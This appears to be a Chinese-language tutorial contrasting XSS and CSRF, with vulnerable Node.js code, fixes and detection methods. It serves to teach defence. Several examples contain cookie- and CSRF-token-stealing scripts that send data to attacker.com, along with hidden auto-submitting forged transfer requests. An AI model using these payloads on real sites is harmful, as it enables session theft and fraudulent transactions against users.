答案
XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种常见的 Web 安全漏洞,它们在攻击原理、攻击方式和防护策略上有本质区别。理解这两者的区别对于构建安全的 Web 应用至关重要。
XSS 和 CSRF 的核心区别
1. 攻击原理
XSS(跨站脚本攻击):
- 攻击者将恶意脚本注入到受害者的浏览器中
- 恶意脚本在受害者的浏览器上下文中执行
- 攻击者可以访问受害者的 Cookie、LocalStorage、Session 等
CSRF(跨站请求伪造):
- 攻击者诱骗受害者向目标网站发送请求
- 请求在受害者的浏览器中自动发送,携带受害者的认证信息
- 攻击者无法直接访问受害者的 Cookie 或 Session
2. 攻击目标
XSS:
- 目标是受害者的浏览器
- 利用的是浏览器对注入脚本的信任
- 攻击者可以执行任意 JavaScript 代码
CSRF:
- 目标是目标网站的 API 或表单
- 利用的是网站对用户浏览器认证的信任
- 攻击者只能发送特定的 HTTP 请求
3. 攻击方式
XSS 攻击示例:
javascript// 攻击者在评论区注入恶意脚本 <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>
CSRF 攻击示例:
html<!-- 攻击者构造恶意页面 --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">
4. 攻击者能力
XSS:
- 可以读取和修改 DOM
- 可以访问 Cookie(非 HttpOnly)
- 可以访问 LocalStorage 和 SessionStorage
- 可以发送任意 AJAX 请求
- 可以执行任意 JavaScript 代码
CSRF:
- 只能发送 HTTP 请求
- 无法读取响应内容
- 无法访问 Cookie
- 无法执行 JavaScript 代码
- 受同源策略限制
详细对比表
| 特性 | XSS | CSRF |
|---|---|---|
| 全称 | Cross-Site Scripting | Cross-Site Request Forgery |
| 中文名称 | 跨站脚本攻击 | 跨站请求伪造 |
| 攻击原理 | 注入恶意脚本到受害者浏览器 | 诱骗受害者发送伪造请求 |
| 攻击目标 | 受害者的浏览器 | 目标网站的 API/表单 |
| 攻击者能力 | 执行任意 JavaScript 代码 | 只能发送 HTTP 请求 |
| 访问 Cookie | 可以访问非 HttpOnly Cookie | 自动携带所有 Cookie |
| 读取响应 | 可以读取响应内容 | 无法读取响应内容 |
| 同源策略 | 可以绕过同源策略 | 受同源策略限制 |
| 防护重点 | 输入验证、输出编码、CSP | CSRF Token、SameSite Cookie |
| 危害程度 | 高(可以完全控制浏览器) | 中(只能发送特定请求) |
XSS 攻击详解
攻击流程
- 攻击者发现 XSS 漏洞
- 攻击者构造恶意脚本
- 攻击者将恶意脚本注入到目标网站
- 受害者访问被注入的页面
- 恶意脚本在受害者浏览器中执行
- 攻击者窃取数据或执行恶意操作
攻击类型
- 存储型 XSS:恶意脚本存储在服务器数据库中
- 反射型 XSS:恶意脚本通过 URL 参数传递
- DOM 型 XSS:恶意脚本通过 DOM 操作执行
防护措施
- 输入验证:对所有用户输入进行严格验证
- 输出编码:对所有输出进行适当的编码
- Content Security Policy:限制资源来源
- HttpOnly Cookie:防止 JavaScript 访问 Cookie
- 使用安全的 DOM API:避免使用
innerHTML等
CSRF 攻击详解
攻击流程
- 用户登录目标网站(如银行网站)
- 用户访问攻击者构造的恶意网站
- 恶意网站向目标网站发送请求
- 浏览器自动携带用户的认证信息
- 目标网站执行请求,认为这是用户的合法操作
攻击类型
- GET 请求 CSRF:通过
<img>、<script>等标签发送 GET 请求 - POST 请求 CSRF:通过隐藏表单自动提交 POST 请求
- JSON CSRF:通过构造 JSON 格式的请求进行攻击
防护措施
- CSRF Token:在请求中添加随机 Token
- SameSite Cookie:限制 Cookie 的跨站发送
- 验证 Referer/Origin:检查请求来源
- 自定义 Header:添加自定义请求头
- 双重提交 Cookie:将 Token 同时放在 Cookie 和请求参数中
实际代码示例
XSS 攻击示例
存储型 XSS:
javascript// 不安全的代码 app.post('/comment', (req, res) => { const comment = req.body.comment; db.save(comment); // 直接保存,未验证 }); app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join('')); // 直接输出,未编码 }); // 攻击者提交 POST /comment { "comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" }
修复方法:
javascript// 安全的代码 function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } app.get('/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments); });
CSRF 攻击示例
不安全的代码:
javascript// 转账接口,没有 CSRF 防护 app.post('/transfer', (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; // 从 Session 获取用户 ID // 执行转账 bank.transfer(userId, to, amount); res.json({ success: true }); }); // 攻击者构造的恶意页面 <html> <body> <form action="http://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script> document.forms[0].submit(); </script> </body> </html>
修复方法:
javascript// 使用 CSRF Token 防护 const csrf = require('csurf'); const csrfProtection = csrf({ cookie: true }); app.get('/transfer', csrfProtection, (req, res) => { res.json({ csrfToken: req.csrfToken() }); }); app.post('/transfer', csrfProtection, (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; bank.transfer(userId, to, amount); res.json({ success: true }); }); // 前端代码 fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ to, amount }) });
XSS 和 CSRF 的组合攻击
攻击者可能同时利用 XSS 和 CSRF 漏洞进行更复杂的攻击:
攻击场景:
- 攻击者通过 XSS 窃取 CSRF Token
- 使用窃取的 Token 发起 CSRF 攻击
- 绕过 CSRF 防护机制
示例:
javascript// XSS 脚本窃取 CSRF Token const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + csrfToken); // 攻击者使用窃取的 Token 发起 CSRF 攻击 fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': stolenToken }, body: JSON.stringify({ to: 'attacker', amount: 10000 }) });
防护策略对比
XSS 防护策略
-
输入验证
- 白名单验证
- 数据类型验证
- 长度限制
-
输出编码
- HTML 编码
- JavaScript 编码
- URL 编码
- CSS 编码
-
Content Security Policy
- 限制脚本来源
- 禁止内联脚本
- 禁止 eval
-
HttpOnly Cookie
- 防止 JavaScript 访问 Cookie
-
安全的 DOM 操作
- 使用 textContent 代替 innerHTML
- 避免使用 document.write
CSRF 防护策略
-
CSRF Token
- 随机生成 Token
- 验证 Token 有效性
- Token 一次性使用
-
SameSite Cookie
- Strict:完全不发送跨站 Cookie
- Lax:部分发送跨站 Cookie
- None:允许发送跨站 Cookie(需要 Secure)
-
验证 Referer/Origin
- 检查请求来源
- 白名单验证
-
自定义 Header
- 添加自定义请求头
- 验证 Header 有效性
-
双重提交 Cookie
- Token 同时在 Cookie 和请求参数中
- 验证两者是否匹配
检测方法
XSS 检测
-
手动测试
- 在输入框中注入
<script>alert(1)</script> - 检查是否执行
- 在输入框中注入
-
自动化扫描
- OWASP ZAP
- Burp Suite
- XSStrike
-
代码审计
- 检查所有用户输入点
- 检查输出点是否编码
CSRF 检测
-
手动测试
- 构造跨站请求
- 检查是否执行
-
自动化扫描
- CSRFTester
- OWASP ZAP
-
代码审计
- 检查是否有 CSRF Token
- 检查 SameSite Cookie 设置
总结
XSS 和 CSRF 是两种不同但同样危险的 Web 安全漏洞:
XSS 的核心特点:
- 攻击者可以执行任意 JavaScript 代码
- 可以访问和修改浏览器中的数据
- 危害程度更高,攻击者能力更强
- 防护重点:输入验证、输出编码、CSP
CSRF 的核心特点:
- 攻击者只能发送 HTTP 请求
- 无法访问响应内容或浏览器数据
- 危害程度中等,攻击者能力有限
- 防护重点:CSRF Token、SameSite Cookie
最佳实践:
- 同时防护 XSS 和 CSRF
- 实施多层防御策略
- 定期进行安全审计和渗透测试
- 使用安全框架和库
- 加强开发人员安全意识
通过理解 XSS 和 CSRF 的区别,并采取相应的防护措施,可以有效地保护 Web 应用免受这些常见的安全威胁。